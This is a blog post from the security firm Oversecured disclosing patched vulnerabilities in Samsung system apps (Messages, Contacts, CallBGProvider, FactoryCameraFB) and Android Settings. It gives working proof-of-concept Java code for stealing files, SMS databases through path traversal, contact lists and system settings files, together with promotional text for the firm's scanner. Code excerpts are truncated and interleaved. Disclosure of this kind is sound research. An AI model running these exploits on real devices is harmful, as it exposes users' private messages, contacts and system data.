Two weeks of securing Samsung devices: Part 2

As mentioned in the first part of this series, Oversecured spent two weeks finding security bugs in Samsung's built-in apps. In this part, we will go over bugs that could have allowed an attacker to:

- read & write arbitrary files in the name of the system

- read arbitrary telephone-related files from the Android user's phone, such as their call history and SMS/MMS

- read & modify the user's contact data

- steal the user's messages from the Samsung Messages app

Vulnerability table:

CVE	SVE	AFFECTED APP	DESCRIPTION	REWARD AMOUNT
CVE-2021-25426	SVE-2021-20903	Samsung Messages (com.samsung.android.messaging)	Theft of arbitrary files	$1050
CVE-2021-25410	SVE-2021-20702	CallBGProvider (com.samsung.android.callbgprovider)	Read arbitrary files as system (UID 1001) user	$2180
CVE-2021-25413	SVE-2021-20877	Samsung Contacts (com.samsung.android.app.contacts)	Gaining access to arbitrary* content providers	$2250
CVE-2021-25414	SVE-2021-20879	Samsung Contacts (com.samsung.android.app.contacts)	Theft/overwrite of arbitrary files	$2250
CVE-2021-25440	SVE-2021-20722	FactoryCameraFB (com.sec.factory.camera)	Read/write arbitrary files as system (UID 1000) user	$10310

Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected.

Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more.

File theft in Samsung Messages

After scanning the Samsung Messages app, we received an alert about the possibility for theft of arbitrary files:

Found in file **AndroidManifest.xml**

☐ Mark as a false positive   Collapse   🔗

```
440        <activity android:theme="@style/res_2131951636_apptheme_noactionbar" android:name="com.samsung.android.messaging.
441            <intent-filter>
442                <action android:name="com.samsung.mms.spam.ACTION_VIEW_SPAM_SMS"/>
443                <category android:name="android.intent.category.DEFAULT"/>
444            </intent-filter>
445            <intent-filter>
446                <action android:name="com.samsung.mms.spam.ACTION_VIEW_SPAM_IM"/>
447                <category android:name="android.intent.category.DEFAULT"/>
448            </intent-filter>
449        </activity>
```

Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.ja
va

```
140            this.ah = true;
141        } else {
142            getIntent().setExtrasClassLoader(com.samsung.android.messaging.ui.data.SmsViewerData.class.getClassLoader());
143            com.samsung.android.messaging.ui.data.SmsViewerData smsViewerData = (com.samsung.android.messaging.ui.data.Sm
144            if (smsViewerData == null) {
145                com.samsung.android.messaging.common.debug.Log.m26764d("ORC/SmsViewerActivity", "no data finish the sms v
146                finish();
```

Found in file
com/samsung/android/messaging/common/util/CacheUtil.java

```
57    }
58
59    static java.lang.String getExternalCacheDirPath(android.content.Context context) {
60        java.io.File externalCacheDir = context.getExternalCacheDir();
61        if (externalCacheDir != null) {
62            return externalCacheDir.getPath();
63        }
64        com.samsung.android.messaging.common.debug.Log.m26766e("CS/CacheUtil", "getCacheDir returned null");
65        return android.os.Environment.getDownloadCacheDirectory().getPath();
66    }
67
68    static java.lang.String getUniqueCacheFileName(android.content.Context context, java.lang.String str, java.lang.String
```

Found in file
com/samsung/android/messaging/ui/data/SmsViewerData.java

```
262
263        /* renamed from: w */
264        public android.net.Uri m32645w() {
265            return this.f25878w;
266        }
267
268        /* renamed from: x */
269        public java.lang.String m32646x() {
270            return this.f25879x;
271        }
272
273        /* renamed from: y */
```

Found in file
com/samsung/android/messaging/ui/view/viewer/SmsViewerActivity.ja
va

```
168            this.f34833S = smsViewerData.m32642t();
169            this.f34834T = smsViewerData.m32643u();
170            this.f34835U = smsViewerData.m32644v();
171            this.f34836V = smsViewerData.m32645w();
172            this.f34837W = smsViewerData.m32646x();
173            this.f34838X = smsViewerData.m32647y();
174            this.f34839Y = smsViewerData.m32648z();
175            this.f34840Z = smsViewerData.m32615A();
176            this.aa = smsViewerData.m32616B();
177            this.ab = smsViewerData.m32617C();
178            this.ac = smsViewerData.m32618D();
179            this.ad = smsViewerData.m32619E();
180            this.ae = smsViewerData.m32620F();
181            this.f34827M = smsViewerData.m32621G();
182            this.f34828N = smsViewerData.m32622H();
183            if (this.f34816B == -1) {
184                this.ah = true;
185            }
186            this.af = new com.samsung.android.messaging.ui.model.p642g.p645c.XmsMenuData(this.f34848z, this.f34819E, this
187        }
188        if (bundle != null) {
189            this.f34817C = bundle.getInt("is_locked");
```

Share message button.

To access arbitrary files, we used an unsafe content provider:

🟡 Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml**   ☑ Mark as a false positive   **Collapse**   🔗

```
1253        <provider android:name="com.samsung.android.messaging.common.provider.MessagesFileProvider" android:exported="fa
1254            <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
1255        </provider>
```

Found in file **xml/filepaths.xml**

```
7           <root-path name="root-path" path=""/>
```

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/XmsMenuD

Proof of Concept:

```java
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    String fileName = "evil.mp4";

    SmsViewerData data = new SmsViewerData();
    data.f25878w = Uri.parse("content://com.samsung.android.messaging.ui.file/root-path/data/data
    data.f25879x = fileName;
    data.f25871p = 1;
    data.f25864i = 12;
    data.f25877v = "video/mp4";

    Intent i = new Intent();
    i.setClassName("com.samsung.android.messaging", "com.samsung.android.messaging.ui.view.viewer
    i.putExtra("xms_viewer_data", data);
    startActivity(i);

    new Handler().postDelayed(() -> {
        String path = getExternalCacheDir().getAbsolutePath().replace(getPackageName(), "com.sams
        dumpFile(new File(path, fileName).getAbsolutePath());
    }, 15000);
}

private void dumpFile(String path) {
    ContentValues values = new ContentValues();
    values.put("_data", path);
    Uri uri = getContentResolver().insert(MediaStore.Files.getContentUri("external"), values);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
    } catch (Throwable th) {
        Log.d("evil", "Error", th);
    }
}
```

◀   ▶

```
81          java.lang.String o = abVar.m36434o();
```

Since the latest Android versions do not allow accessing external cache files, we made use of the `dumpFile`
method to bypass this protection in our PoC.

```
83          o = abVar.m36428i()[0];
84
85          arrayList3.add(o);
86          java.lang.String k = abVar.m36430k();
87
88          k = abVar.m36424e()[0];
```

File theft from UID 1001 in CallBGProvider

The `CallBGProvider` provider is declared with the permission
`com.samsung.android.callbgprovider.PERMISSION`, which is not properly protected:

com/samsung/android/messaging/ui/model/p642g/p645c/MessageSha

```xml
<permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
```

/Byte(str.get

```
248         }
249         str2 = str3;
            activity.runOnUiThread(new com.samsung.android.messaging.ui.model.p642g.p645c.RunnableC5105t(str2, a, arra
252         str = str.substring(0, r);
253         }
```

If `android:protectionLevel` is not specifically set by the developer, it gets defined as `normal` by default –
which would allow any third-party apps to access the resource.

Found in file
com/samsung/android/messaging/ui/model/p642g/p645c/RunnableC5

Found in file **AndroidManifest.xml**

☑ Mark as a false positive   Collapse

```
14        <provider android:name="com.samsung.android.callbgprovider.CallBGProvider" android:readPermission="com.samsung.and
15            <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/filepaths"/>
16        </provider>
```

Found in file **com/samsung/android/callbgprovider/CallBGProvider.java**

```
65        }
66
67        @Override // android.content.ContentProvider
68        public android.os.ParcelFileDescriptor openFile(@androidx.annotation.NonNull android.net.Uri uri, @androidx.annotation
69            java.io.File file;
70            android.util.Log.d("CallBGProvider", "openFile: uri:" + uri);
71            try {
72                java.io.File filesDir = getContext().getFilesDir();
73                java.lang.String path = uri.getPath();
74                if (path.contains("images/")) {
75                    file = new java.io.File(filesDir, "images");
76                } else if (path.contains("videos/")) {
77                    file = new java.io.File(filesDir, "videos");
78                } else {
79                    file = path.contains("thumbnail/") ? new java.io.File(filesDir, "thumbnail") : null;
80                }
81                java.lang.String str2 = file.getPath() + "/" + uri.getLastPathSegment();
82                java.io.File file2 = new java.io.File(str2);
83                android.util.Log.d("CallBGProvider", "openFile: uri: path :" + str2);
84                return android.os.ParcelFileDescriptor.open(file2, 268435456);
85            } catch (java.io.FileNotFoundException e) {
86                e.printStackTrace();
87                return null;
99        return null;
```

The above provider is also vulnerable to path traversal due to the use of `Uri.getLastPathSegment()` , which automatically decodes the value.

Proof of Concept for reading the database containing SMS/MMS messages.

File `AndroidManifest.xml` :

```
<uses-permission android:name="com.samsung.android.callbgprovider.PERMISSION"/>
```

File `MainActivity.java` :

```
try {
    getContentResolver().call(Uri.parse("content://com.samsung.android.callbgprovider.media"), "g

    File dbPath = new File(getPackageManager().getApplicationInfo("com.android.providers.telephon
    Uri uri = Uri.parse("content://com.samsung.android.callbgprovider.media/videos/..%2F..%2F..%2
    Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
} catch (Throwable th) {
    throw new RuntimeException(th);
}
```

◀ ▶

The code in `CallBGProvider.call(...)` helps create directories like `videos` , `images` , etc., which don't exist by default. Therefore, if `getContentResolver().call(...)` wasn't present in our PoC, then calling `ParcelFileDescriptor.open(...)` would have thrown a `FileNotFoundException` error.

File theft and writing to Samsung Contacts

The activity `com.samsung.android.contacts.editor.SetProfilePhotoActivity` in the Samsung Contacts app is exported. Moreover, it also accepts two attacker-controlled URIs:

1. `shared_photo_uri` for getting content
2. `temp_photo_uri` for saving content

Found in file AndroidManifest.xml

☑ Mark as a false positive   Collapse   ↕

```
555        <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipm
556            <intent-filter>
557                <action android:name="android.intent.action.SEND"/>
558                <data android:mimeType="image/*"/>
559                <category android:name="android.intent.category.DEFAULT"/>
560            </intent-filter>
561            <intent-filter>
562                <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563                <data android:mimeType="image/*"/>
564                <category android:name="android.intent.category.DEFAULT"/>
565            </intent-filter>
566        </activity>
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
164
165    private void w8(android.os.Bundle bundle) {
166        if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167            java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168            java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169            if (stringExtra != null && stringExtra2 != null) {
170                this.f14384w = android.net.Uri.parse(stringExtra);
171                this.f14385x = android.net.Uri.parse(stringExtra2);
172                return;
173            }
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
43         /* renamed from: b */
44     private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45         android.net.Uri uri;
46         android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47         if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48             uri = null;
49         } else {
50             uri = clipData.getItemAt(0).getUri();
51             if (!m13806d(setProfilePhotoActivity, uri)) {
52                 return;
53             }
54         }
55         if (uri == null) {
56             if (setProfilePhotoActivity.getIntent().getExtras() == null || setProfilePhotoActivity.getIntent().getExt
57                 setProfilePhotoActivity.finish();
58                 return;
59             }
60             uri = android.net.Uri.parse(setProfilePhotoActivity.getIntent().getExtras().getString("shared_photo_uri")
61         }
62         try {
63             com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14120Q(uri, setProfilePhotoActivity.f14384w, fa
64             if (this.f14389b == null) {
65                 this.f14389b = setProfilePhotoActivity.f14383v.mo13912D(uri);
66             }
```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```
71         }
72
73         /* renamed from: Q */
74     public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75         m14122a();
76         return f14625a.m14146R(uri, uri2, z);
77     }
78
79         /* renamed from: S */
```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```
448        throw r5;
449    */
450        /* renamed from: R */
451    public boolean m14146R(android.net.Uri uri, android.net.Uri uri2, boolean z) {
452        if (uri == null || uri2 == null || m14117L(uri)) {
453            com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoDataUtils", "can not save image " + uri + " " + uri2
454            return false;
455        }
456        android.content.Context a = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a();
457        try {
458            java.io.FileOutputStream createOutputStream = a.getContentResolver().openAssetFileDescriptor(uri2, "md").cre
```

arbitrary files specified in the path section of the URI.

Proof of Concept for file theft.

File `AndroidManifest.xml` :

```
468          createoutputStream.write(bArr, 0, read);
469      }
470    }
471  }
```

```xml
<provider android:name=".MyContentProvider" android:authorities="oversecured.evil" android:ex
```

◀ ▶

File `MainActivity.java`

```
555        <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipm
556          <intent-filter>
557            <action android:name="android.intent.action.SEND"/>
558            <data android:mimeType="image/*"/>
```

```java
String path = new File(getApplicationInfo().dataDir, "dump").getAbsolutePath();
String theft = "/data/data/com.samsung.android.app.contacts/shared_prefs/SamsungAnalyticsPrefs.xm

Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfil
i.putExtra("shared_photo_uri", "content://com.samsung.contacts.backup" + theft); // input
i.putExtra("temp_photo_uri", "content://oversecured.evil/?path=" + path); // output
i.putExtra("cropped_photo_uri", "");
i.putExtra("mimeType", "x");
startActivity(i);

new Handler().postDelayed(() -> {
    try {
        Log.d("evil", IOUtils.toString(new FileInputStream(path)));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}, 1000);
```

◀ ▶

File `MyContentProvider.java` :

Found in file
com.samsung...android.../SetProfilePhotoActivity.java

```java
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    try {
        return ParcelFileDescriptor.open(new File(uri.getQueryParameter("path")), ParcelFileDescr
    } catch (Throwable th) {
        return null;
    }
}
```

◀ ▶

```
55          if (uri == null) {
56              if (setProfilePhotoActivity.getIntent().getExtras() == null || setProfilePhotoActivity.getIntent().getExt
57                  setProfilePhotoActivity.finish();
58                  return;
59              }
60              uri = android.
61
62              try {
63                  com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14120Q(uri, setProfilePhotoActivity.f14384w, fal
64                  if (uri == null) {
65                      this.f14389b = setProfilePhotoActivity.f14383v.mo13912D(uri);
66                  }
```

Accessing arbitrary Content Providers in Samsung Contacts

This attack uses the same activity (`com.samsung.android.contacts.editor.SetProfilePhotoActivity`) as the previous vulnerability.

The flow of this attack looks like this:

1. An invalid URI is specified by an attacker in `temp_photo_uri`

2. The app automatically launches an implicit intent with the `Intent.FLAG_GRANT_READ_URI_PERMISSION` & `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` flags

3. The attacker-controlled value in `cropped_photo_uri` is passed to the Intent's ClipData.

com.samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```
71
72
73      /* renamed from: Q */
74      public static boolean m14120Q(android.net.Uri uri, android.net.Uri uri2, boolean z) {
75          m14122a();
76          return f14625a.m14146R(uri, uri2, z);
77      }
78
79      /* renamed from: S */
```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

Found in file **AndroidManifest.xml**   ☐ Mark as a false positive   Collapse   🔗

```
555        <activity android:theme="@style/BackgroundOnlyTheme" android:label="@string/share_my_profile" android:icon="@mipm
556            <intent-filter>
557                <action android:name="android.intent.action.SEND"/>
558                <data android:mimeType="image/*"/>
559                <category android:name="android.intent.category.DEFAULT"/>
560            </intent-filter>
561            <intent-filter>
562                <action android:name="com.samsung.contacts.action.SET_AS_PROFILE_PICTURE"/>
563                <data android:mimeType="image/*"/>
564                <category android:name="android.intent.category.DEFAULT"/>
565            </intent-filter>
566        </activity>
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
43        /* renamed from: b */
44        private void m13805b(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity) {
45            android.net.Uri uri;
46            android.content.ClipData clipData = setProfilePhotoActivity.getIntent().getClipData();
47            if (clipData == null || clipData.getItemCount() != 1 || clipData.getItemAt(0) == null) {
48                uri = null;
49            } else {
50                uri = clipData.getItemAt(0).getUri();
51                if (!m13806d(setProfilePhotoActivity, uri)) {
52                    return;
53                }
54            }
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
164
165        private void w8(android.os.Bundle bundle) {
166            if (bundle == null || !bundle.containsKey("temp_photo_uri") || !bundle.containsKey("cropped_photo_uri")) {
167                java.lang.String stringExtra = getIntent().getStringExtra("temp_photo_uri");
168                java.lang.String stringExtra2 = getIntent().getStringExtra("cropped_photo_uri");
169                if (stringExtra != null && stringExtra2 != null) {
170                    this.f14384w = android.net.Uri.parse(stringExtra);
171                    this.f14385x = android.net.Uri.parse(stringExtra2);
172                    return;
173                }
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
112        public void onPostExecute(java.lang.Void r4) {
113            com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity = this.f14388a.get();
114            if (setProfilePhotoActivity != null) {
115                android.content.Intent intent = new android.content.Intent("com.android.camera.action.CROP", setProfilePh
116                java.lang.String stringExtra = setProfilePhotoActivity.getIntent().getStringExtra("mimeType");
117                java.lang.String type = setProfilePhotoActivity.getIntent().getType();
118                if (stringExtra != null) {
119                    intent.setDataAndType(setProfilePhotoActivity.f14384w, stringExtra);
120                } else if (type != null) {
121                    intent.setDataAndType(setProfilePhotoActivity.f14384w, type);
122                } else if (!android.text.TextUtils.isEmpty(this.f14389b) && this.f14389b.contains("gif")) {
123                    intent.setDataAndType(setProfilePhotoActivity.f14384w, "image/gif");
124                }
125                com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14300c(intent, setProfilePhotoActivity.f14385x,
126                com.samsung.android.contacts.editor.p347o.AbstractC3332j.m14299b(intent, this.f14391d);
127                if (setProfilePhotoActivity.f14383v.o4(intent)) {
128                    setProfilePhotoActivity.startActivityForResult(intent, 1);
129                } else {
130                    setProfilePhotoActivity.u8();
131                }
```

Found in file
com/samsung/android/contacts/editor/SetProfilePhotoActivity.java

```
74        }
75
76        /* renamed from: d */
77        private boolean m13806d(com.samsung.android.contacts.editor.SetProfilePhotoActivity setProfilePhotoActivity, andro
78            if (setProfilePhotoActivity.f14384w == null && setProfilePhotoActivity.f14385x == null && uri != null) {
79                try {
80                    java.lang.String D = setProfilePhotoActivity.f14383v.mo13912D(uri);
81                    this.f14389b = D;
82                    setProfilePhotoActivity.f14384w = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(D,
83                    setProfilePhotoActivity.f14385x = com.samsung.android.contacts.editor.p341n.PhotoDataUtils.m14129m(thi
84                } catch (java.lang.SecurityException e) {
85                    com.samsung.android.dialtacts.util.AppLog.m20396l("SetProfilePhotoActivity", "setPhotoUri, SecurityExc
```

Proof of Concept for reading a complete contact list.

```
 41
 42        @Override // com.samsung.android.contacts.editor.commoninterface.SetProfilePhotoContract
```

File `AndroidManifest.xml`:

```xml
<activity android:name=".PickerActivity">
    <intent-filter android:autoVerify="true" android:priority="999999999">
        <action android:name="com.android.camera.action.CROP" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:mimeType="*/*" />
        <data android:mimeType="image/*" />
        <data android:mimeType="test/1337" />
    </intent-filter>
</activity>
```

```
193        com.samsung.android.dialtacts.util.AppLog.m20396l("PhotoModel", "getImageTitleFromMediaDB result : " + a);
194        return a;
```

File `MainActivity.java`:

```java
Intent i = new Intent(Intent.ACTION_SEND);
i.setClassName("com.samsung.android.app.contacts", "com.samsung.android.contacts.editor.SetProfil
i.putExtra("temp_photo_uri", "/");
i.putExtra("cropped_photo_uri", ContactsContract.CommonDataKinds.Phone.CONTENT_URI.toString());
i.putExtra("mimeType", "test/1337");
startActivity(i);
```

◀ ▶

```
547        try {
548            android.database.Cursor query = this.f10092a.query(uri, new java.lang.String[]{"_display_name"}, null, null,
549            if (query != null) {
```

File `PickerActivity.java`:

```java
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if ("com.android.camera.action.CROP".equals(getIntent().getAction())) {
        dump(getIntent().getClipData().getItemAt(0).getUri());
    }

    finish();
}

public void dump(Uri uri) {
    Cursor cursor = getContentResolver().query(uri, null, null, null, null);
    if (cursor.moveToFirst()) {
        do {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < cursor.getColumnCount(); i++) {
                if(sb.length() > 0) {
                    sb.append(", ");
                }
                sb.append(cursor.getColumnName(i) + " = " + cursor.getString(i));
            }
            Log.d("evil", sb.toString());
        } while (cursor.moveToNext());
    }
}
```

File theft and write from UID 1000 in FactoryCameraFB

com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```java
386
387    /* access modifiers changed from: package-private */
388    /* renamed from: N */
389    public java.lang.String m14144N(java.lang.String str) {
390        java.io.File cacheDir = com.samsung.android.dialtacts.util.ApplicationUtil.m20405a().getCacheDir();
391        if (cacheDir != null) {
392            cacheDir.mkdirs();
393        }
394        return new java.io.File(cacheDir, str).getAbsolutePath();
395    }
396
397    /* renamed from: P */
```

Found in file
com/samsung/android/contacts/editor/p341n/PhotoDataUtils.java

```java
560
561    /* access modifiers changed from: package-private */
562    /* renamed from: l */
563    public java.lang.String m14152l(java.lang.String str, java.lang.String str2) {
```

Found in file **AndroidManifest.xml** ☑ Mark as a false positive   Collapse   🔗

```
37          <activity android:theme="@style/res_2131755016_apptheme_noactionbar" android:label="@string/app_name" android:name
38              <intent-filter>
39                  <action android:name="android.intent.action.MAIN"/>
40              </intent-filter>
41          </activity>
```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```
228                      e2.printStackTrace();
229                  }
230              }
231              this.mIncomingIntent = getIntent();
232          }
233
234          /* access modifiers changed from: protected */
```

Found in file **com/sec/android/app/camera/CameraTestActivity.java**

```
117      public void sendResultAndFinish(int i, java.lang.String str) {
118          android.util.Log.i("FACAM/CamTestActivity", "sendResultAndFinish : " + i + ", " + str);
119          sendResult(i, str);
120          setResult(i, this.mIncomingIntent);
121          finish();
122      }
123
```

It should be noted that this app has a property called `android:sharedUserId="android.uid.system"`, which makes it a system application.

As described in the vulnerability in Android Settings, we used a content provider in the `com.sec.imsservice` app, which provided access to arbitrary files:

🟡   Insecure use of file paths in FileProvider

Found in file **AndroidManifest.xml** ☑ Mark as a false positive   Collapse   🔗

```
508      <provider android:name="android.support.v4.content.FileProvider" android:exported="false" android:authorities="co
509          <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/imfilepath"/>
510      </provider>
```

Found in file **xml/imfilepath.xml**

```
3          <root-path name="root" path="."/>
```

com/samsung/android/contacts/editor/p347o/AbstractC3332j.java

For testing, we used the file `/data/system/users/0/settings_secure.xml` (which has these permissions: `-rw------- 1 system system`).

```
24      /* renamed from: c */
25      public static void m14300c(android.content.Intent intent, android.net.Uri uri, int i) {
26          Intent.putExtra("root", true);
27          Intent.putExtra("output", uri);
28
```

Proof of Concept, as a result of which the content of the file was printed to the logs.

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    i.setClassName("com.sec.factory.camera", "com.sec.android.app.camera.CameraTestActivity");
    i.putExtra("testtype", "NCAMTEST");
    i.putExtra("arg1", "0");
    i.putExtra("arg2", "1");
    i.putExtra("arg3", "2");
    i.putExtra("arg4", "0");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
```

In the previous article, we published information about a vulnerability in Android Settings for which we received a $2,000 award from Google AOSP.

The activity `com.android.settings.wifi.WifiDialogActivity` is exported (however, it requests the sender to have `android.permission.CHANGE_WIFI_STATE` permission). When a user clicks on the QR code scan icon, it launches an implicit intent and passes its activity result to its own `setResult(code, attacker_controlled_intent)`.

Proof of Concept to access any system files on Samsung devices.

File `AndroidManifest.xml`:

```
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />


<activity android:name=".PickerActivity">
    <intent-filter android:autoVerify="true" android:priority="999">
        <action android:name="android.settings.WIFI_DPP_ENROLLEE_QR_CODE_SCANNER" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>
```

File `MainActivity.java`:

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent();
    i.setClassName("com.android.settings", "com.android.settings.wifi.WifiDialogActivity");
    startActivityForResult(i, 0);
}

protected void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);

    try {
        Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(data.getData())));
    } catch (Throwable th) {
        throw new RuntimeException(th);
    }
}
```

File `PickerActivity.java`:

```
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent i = new Intent("evil");
    i.setData(Uri.parse("content://com.sec.internal.ims.rcs.fileprovider/root/data/system/users/0
    i.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    setResult(-1, i);
    finish();
}
```

◀   ▶

Preventing these vulnerabilities

It could be challenging to keep track of security, especially in large projects. You can use Oversecured vulnerability scanner since it tracks all known security issues on Android and iOS including all the vectors mentioned above. To begin testing your apps, use Quick Start, book a call or contact us.

oversecured
secure place

Read More

Common mistakes when using permissions in Android

◎ OVERSECURED   1 MIN READ

Why dynamic code loading could be dangerous for your apps: a Google example

◎ OVERSECURED   1 MIN READ